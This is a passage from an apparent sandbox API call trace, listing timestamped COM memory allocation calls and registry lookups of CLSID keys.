pv=0x2764b66c7f0, cb=0x280) returned 0x2764519a6c0 [0096.703] IMalloc:Realloc (This=0x7ff9e7edf3f0, pv=0x2764b66ba70, cb=0x280) returned 0x2764519ae70 [0096.739] IMalloc:Realloc (This=0x7ff9e7edf3f0, pv=0x2764519a6c0, cb=0x2d0) returned 0x2764b10d420 [0096.740] IMalloc:Realloc (This=0x7ff9e7edf3f0, pv=0x2764519ae70, cb=0x2d0) returned 0x2764b10e560 [0096.747] IMalloc:Realloc (This=0x7ff9e7edf3f0, pv=0x2764b10d420, cb=0x320) returned 0x2764aebe3c0 [0096.747] IMalloc:Realloc (This=0x7ff9e7edf3f0, pv=0x2764b10e560, cb=0x320) returned 0x2764b71c540 [0096.755] IMalloc:Realloc (This=0x7ff9e7edf3f0, pv=0x2764aebe3c0, cb=0x370) returned 0x2764afc66a0 [0096.755] IMalloc:Realloc (This=0x7ff9e7edf3f0, pv=0x2764b71c540, cb=0x370) returned 0x2764afc6da0 [0096.760] RegOpenKeyW (in: hKey=0xffffffff80000000, lpSubKey="Clsid\\{AFC20920-DA4E-11CE-B943-00AA006887B4}", phkResult=0xb5690f5ec8 | out: phkResult=0xb5690f5ec8*=0x1406) returned 0x0 [0096.760] RegOpenKeyW (in: hKey=0x1406, lpSubKey="Control", phkResult=0xb5690f5ed0 | out: phkResult=0xb5690f5ed0*=0x0) returned 0x2 [0096.761] RegOpenKeyW (in: hKey=0x1406, lpSubKey="Insertable", phkResult=0xb5690f5ed0 | out: phkResult=0xb5690f5ed0*=0x0) returned 0x2 [0096.763] IMalloc:Realloc (This=0x7ff9e7edf3f0, pv=0x2764afc66a0, cb=0x3c0) returned 0x2763c4ba2f0 [0096.763] IMalloc:Realloc (This=0x7ff9e7edf3f0, pv=0x2764afc6da0, cb=0x3c0) returned 0x2763c4b8470 [0096.877] IMalloc:Realloc (This=0x7ff9e7edf3f0, pv=0x2763c4ba2f0, cb=0x410) returned 0x2764b777450 [0096.877] IMalloc:Realloc (This=0x7ff9e7edf3f0, pv=0x2763c4b8470, cb=0x410) returned 0x2764b77a810 [0096.883] IMalloc:Realloc (This=0x7ff9e7edf3f0, pv=0x2764b777450, cb=0x460) returned 0x2764b259760 [0096.883] IMalloc:Realloc (This=0x7ff9e7edf3f0, pv=0x2764b77a810, cb=0x460) returned 0x2764b524800 [0096.888] IMalloc:Realloc (This=0x7ff9e7edf3f0, pv=0x2764b259760, cb=0x4b0) returned 0x2763c3bda00 [0096.888] IMalloc:Realloc (This=0x7ff9e7edf3f0, pv=0x2764b524800, cb=0x4b0) returned 0x2764b524800 [0096.889] RegOpenKeyW (in: hKey=0xffffffff80000000, lpSubKey="Clsid\\{5CEF5610-713D-11CE-80C9-00AA00611080}", phkResult=0xb5690f5ec8 | out: phkResult=0xb5690f5ec8*=0x143e) returned 0x0 [0096.889] RegOpenKeyW (in: hKey=0x143e, lpSubKey="Control", phkResult=0xb5690f5ed0 | out: phkResult=0xb5690f5ed0*=0x0) returned 0x2 [0096.890] RegOpenKeyW (in: hKey=0x143e, lpSubKey="Insertable", phkResult=0xb5690f5ed0 | out: phkResult=0xb5690f5ed0*=0x0) returned 0x2 [0096.899] IMalloc:Realloc (This=0x7ff9e7edf3f0, pv=0x2763c3bda00, cb=0x500) returned 0x2763c3bda00 [0096.899] IMalloc:Realloc (This=0x7ff9e7edf3f0, pv=0x2764b524800, cb=0x500) returned 0x2764b524800 [0096.918] RegOpenKeyW (in: hKey=0xffffffff80000000, lpSubKey="Clsid\\{646BE917-EFED-46C6-AFC9-CA1FBD3C5100}", phkResult=0xb5690f5ec8 | out: phkResult=0xb5690f5ec8*=0x1442) returned 0x0 [0096.918] RegOpenKeyW (in: hKey=0x1442, lpSubKey="Control", phkResult=0xb5690f5ed0 | out: phkResult=0xb5690f5ed0*=0x0) returned 0x2 [0096.918] RegOpenKeyW (in: hKey=0x1442, lpSubKey="Insertable", phkResult=0xb5690f5ed0 | out: phkResult=0xb5690f5ed0*=0x0) returned 0x2 [0096.919] IMalloc:Realloc (This=0x7ff9e7edf3f0, pv=0x2763c3bda00, cb=0x550) returned 0x2763c3bda00 [0096.919] IMalloc:Realloc (This=0x7ff9e7edf3f0, pv=0x2764b524800, cb=0x550) returned 0x2764b524800 [0096.928] IMalloc:Realloc (This=0x7ff9e7edf3f0, pv=0x2763c3bda00, cb=0x5a0) returned 0x2763c3bda00 [0096.928] IMalloc:Realloc (This=0x7ff9e7edf3f0, pv=0x2764b524800, cb=0x5a0) returned 0x2764b524800 [0096.929] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b61b230 [0096.929] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b61b230) returned 0x10 [0096.931] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b61b230) [0096.931] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b61b1f0 [0096.931] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b61b1f0) returned 0x10 [0096.931] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b61b1f0) [0096.931] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b61b1f0 [0096.931] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b61b1f0) returned 0x10 [0096.931] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b61b1f0) [0096.932] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b61af90 [0096.932] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b61af90) returned 0x10 [0096.932] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b61af90) [0096.932] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b61b4f0 [0096.932] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b61b4f0) returned 0x10 [0096.932] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b61b4f0) [0096.932] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b61b5d0 [0096.932] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b61b5d0) returned 0x10 [0096.932] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b61b5d0) [0096.932] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b61b0f0 [0096.933] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b61b0f0) returned 0x10 [0096.933] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b61b0f0) [0096.933] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b61b0f0 [0096.933] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b61b0f0) returned 0x10 [0096.933] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b61b0f0) [0096.933] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b61b0f0 [0096.933] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b61b0f0) returned 0x10 [0096.933] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b61b0f0) [0096.933] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b61b3d0 [0096.933] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b61b3d0) returned 0x10 [0096.934] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b61b3d0) [0096.934] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b61af30 [0096.934] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b61af30) returned 0x10 [0096.934] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b61af30) [0096.934] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b61b0f0 [0096.934] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b61b0f0) returned 0x10 [0096.934] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b61b0f0) [0096.934] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b61b0f0 [0096.934] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b61b0f0) returned 0x10 [0096.935] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b61b0f0) [0096.935] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b61b0f0 [0096.935] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b61b0f0) returned 0x10 [0096.935] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b61b0f0) [0096.935] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b61b170 [0096.935] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b61b170) returned 0x10 [0096.935] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b61b170) [0096.935] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b61b0f0 [0096.935] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b61b0f0) returned 0x10 [0096.935] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b61b0f0) [0096.935] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b61b1f0 [0096.935] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b61b1f0) returned 0x10 [0096.936] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b61b1f0) [0096.936] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b61b3d0 [0096.936] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b61b3d0) returned 0x10 [0096.937] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b61b3d0) [0096.937] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b61b170 [0096.937] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b61b170) returned 0x10 [0096.937] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b61b170) [0096.938] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x18) returned 0x2764b61b6f0 [0096.938] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b61b6f0) returned 0x18 [0096.938] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b61b6f0) [0096.938] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b61b3d0 [0096.938] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b61b3d0) returned 0x10 [0096.938] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b61b3d0) [0096.938] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b61b4d0 [0096.938] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b61b4d0) returned 0x10 [0096.939] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b61b4d0) [0097.039] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x18) returned 0x2764b61bd10 [0097.039] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b61bd10) returned 0x18 [0097.049] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b61bd10) [0097.049] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x8) returned 0x2764b51eae0 [0097.049] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b51eae0) returned 0x8 [0097.049] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b51eae0) [0097.049] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x8) returned 0x2764b51e9d0 [0097.050] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b51e9d0) returned 0x8 [0097.050] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b51e9d0) [0097.050] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b61bb30 [0097.050] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b61bb30) returned 0x10 [0097.050] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b61bb30) [0097.050] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x20) returned 0x27644fbdcb0 [0097.050] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x27644fbdcb0) returned 0x20 [0097.050] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x27644fbdcb0) [0097.050] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x30) returned 0x276453bafa0 [0097.050] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x276453bafa0) returned 0x30 [0097.060] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x276453bafa0) [0097.060] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x48) returned 0x2764b198e30 [0097.060] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b198e30) returned 0x48 [0097.117] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b198e30) [0097.117] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x8) returned 0x2764b51e9c0 [0097.117] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b51e9c0) returned 0x8 [0097.118] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b51e9c0) [0097.118] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b61c4d0 [0097.118] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b61c4d0) returned 0x10 [0097.118] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b61c4d0) [0097.118] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b61c4d0 [0097.118] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b61c4d0) returned 0x10 [0097.118] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b61c4d0) [0097.118] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x18) returned 0x2764b61c070 [0097.118] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b61c070) returned 0x18 [0097.119] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b61c070) [0097.119] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x8) returned 0x2764b51e910 [0097.119] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b51e910) returned 0x8 [0097.119] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b51e910) [0097.119] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x8) returned 0x2764b51eb70 [0097.119] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b51eb70) returned 0x8 [0097.119] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b51eb70) [0097.119] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b61c350 [0097.119] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b61c350) returned 0x10 [0097.120] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b61c350) [0097.132] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x18) returned 0x2764b61c510 [0097.132] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b61c510) returned 0x18 [0097.143] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b61c510) [0097.143] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x8) returned 0x2764b51eb10 [0097.143] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b51eb10) returned 0x8 [0097.144] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b51eb10) [0097.144] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x8) returned 0x2764b51e910 [0097.144] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b51e910) returned 0x8 [0097.144] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b51e910) [0097.144] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b61c2f0 [0097.144] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b61c2f0) returned 0x10 [0097.144] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b61c2f0) [0097.145] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x20) returned 0x27644fbe1f0 [0097.145] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x27644fbe1f0) returned 0x20 [0097.145] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x27644fbe1f0) [0097.145] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x30) returned 0x276453bb9a0 [0097.145] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x276453bb9a0) returned 0x30 [0097.157] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x276453bb9a0) [0097.157] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x48) returned 0x2764b199380 [0097.157] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b199380) returned 0x48 [0097.198] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b199380) [0097.198] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b61bb30 [0097.198] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b61bb30) returned 0x10 [0097.199] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b61bb30) [0097.199] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x8) returned 0x2764b51ec20 [0097.199] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b51ec20) returned 0x8 [0097.199] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b51ec20) [0097.211] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x18) returned 0x2764b61bd10 [0097.211] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b61bd10) returned 0x18 [0097.335] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b61bd10) [0097.335] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x8) returned 0x2764b51ea60 [0097.335] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b51ea60) returned 0x8 [0097.336] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b51ea60) [0097.336] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x8) returned 0x2764b51e910 [0097.336] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b51e910) returned 0x8 [0097.336] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b51e910) [0097.336] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b61bd10 [0097.336] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b61bd10) returned 0x10 [0097.336] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b61bd10) [0097.336] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x20) returned 0x27644fbe160 [0097.336] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x27644fbe160) returned 0x20 [0097.337] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x27644fbe160) [0097.337] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x30) returned 0x276453b7e20 [0097.337] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x276453b7e20) returned 0x30 [0097.360] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x276453b7e20) [0097.360] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x48) returned 0x2764b1992e0 [0097.360] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b1992e0) returned 0x48 [0097.375] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b1992e0) [0097.375] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b61c2f0 [0097.375] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b61c2f0) returned 0x10 [0097.376] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b61c2f0) [0097.376] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x8) returned 0x2764b51e9d0 [0097.376] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b51e9d0) returned 0x8 [0097.376] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b51e9d0) [0097.560] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x18) returned 0x2764b61bff0 [0097.560] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b61bff0) returned 0x18 [0097.574] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b61bff0) [0097.574] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x8) returned 0x2764b51e840 [0097.574] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b51e840) returned 0x8 [0097.574] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b51e840) [0097.574] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x8) returned 0x2764b51e8c0 [0097.574] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b51e8c0) returned 0x8 [0097.575] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b51e8c0) [0097.575] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b61c390 [0097.575] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b61c390) returned 0x10 [0097.575] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b61c390) [0097.575] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x20) returned 0x27644fc9650 [0097.575] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x27644fc9650) returned 0x20 [0097.576] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x27644fc9650) [0097.576] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x30) returned 0x276453b8560 [0097.576] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x276453b8560) returned 0x30 [0097.640] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x276453b8560) [0097.640] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x48) returned 0x2764b199830 [0097.640] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b199830) returned 0x48 [0097.651] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b199830) [0097.651] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b61c050 [0097.651] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b61c050) returned 0x10 [0097.652] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b61c050) [0097.652] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x8) returned 0x2764b51e600 [0097.652] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b51e600) returned 0x8 [0097.652] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b51e600) [0097.663] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x18) returned 0x2764b61c050 [0097.663] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b61c050) returned 0x18 [0097.684] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b61c050) [0097.684] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x8) returned 0x2764b51e7c0 [0097.685] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b51e7c0) returned 0x8 [0097.685] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b51e7c0) [0097.685] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x8) returned 0x2764b51e600 [0097.685] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b51e600) returned 0x8 [0097.685] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b51e600) [0097.685] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b61bf70 [0097.685] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b61bf70) returned 0x10 [0097.686] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b61bf70) [0097.686] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x20) returned 0x27644fc9440 [0097.686] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x27644fc9440) returned 0x20 [0097.686] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x27644fc9440) [0097.686] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x30) returned 0x276453b8d60 [0097.686] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x276453b8d60) returned 0x30 [0097.745] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x276453b8d60) [0097.745] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x48) returned 0x2764b1a3790 [0097.745] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b1a3790) returned 0x48 [0097.759] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b1a3790) [0097.759] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b61c1d0 [0097.759] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b61c1d0) returned 0x10 [0097.759] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b61c1d0) [0097.760] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x8) returned 0x2764b51e7c0 [0097.760] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b51e7c0) returned 0x8 [0097.760] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b51e7c0) [0097.899] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x18) returned 0x2764b61c050 [0097.899] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b61c050) returned 0x18 [0097.961] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b61c050) [0097.961] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x8) returned 0x2764b51e8c0 [0097.961] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b51e8c0) returned 0x8 [0097.961] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b51e8c0) [0097.961] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x8) returned 0x2764b51e7c0 [0097.961] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b51e7c0) returned 0x8 [0097.961] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b51e7c0) [0097.961] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b61c210 [0097.961] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b61c210) returned 0x10 [0097.961] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b61c210) [0097.961] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x20) returned 0x27644fca280 [0097.961] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x27644fca280) returned 0x20 [0097.962] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x27644fca280) [0097.962] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x30) returned 0x276453b8820 [0097.962] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x276453b8820) returned 0x30 [0097.972] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x276453b8820) [0097.972] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x48) returned 0x2764b1976c0 [0097.972] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b1976c0) returned 0x48 [0097.983] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b1976c0) [0097.983] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b61c0b0 [0097.983] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b61c0b0) returned 0x10 [0097.984] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b61c0b0) [0097.984] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x8) returned 0x2764b51e7c0 [0097.984] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b51e7c0) returned 0x8 [0097.985] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b51e7c0) [0098.256] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x18) returned 0x2764b17c3b0 [0098.256] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b17c3b0) returned 0x18 [0098.270] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b17c3b0) [0098.270] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x8) returned 0x2764b51e840 [0098.270] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b51e840) returned 0x8 [0098.270] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b51e840) [0098.270] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x8) returned 0x2764b51e8c0 [0098.270] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b51e8c0) returned 0x8 [0098.271] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b51e8c0) [0098.271] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b17c110 [0098.271] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b17c110) returned 0x10 [0098.271] IMalloc:Free 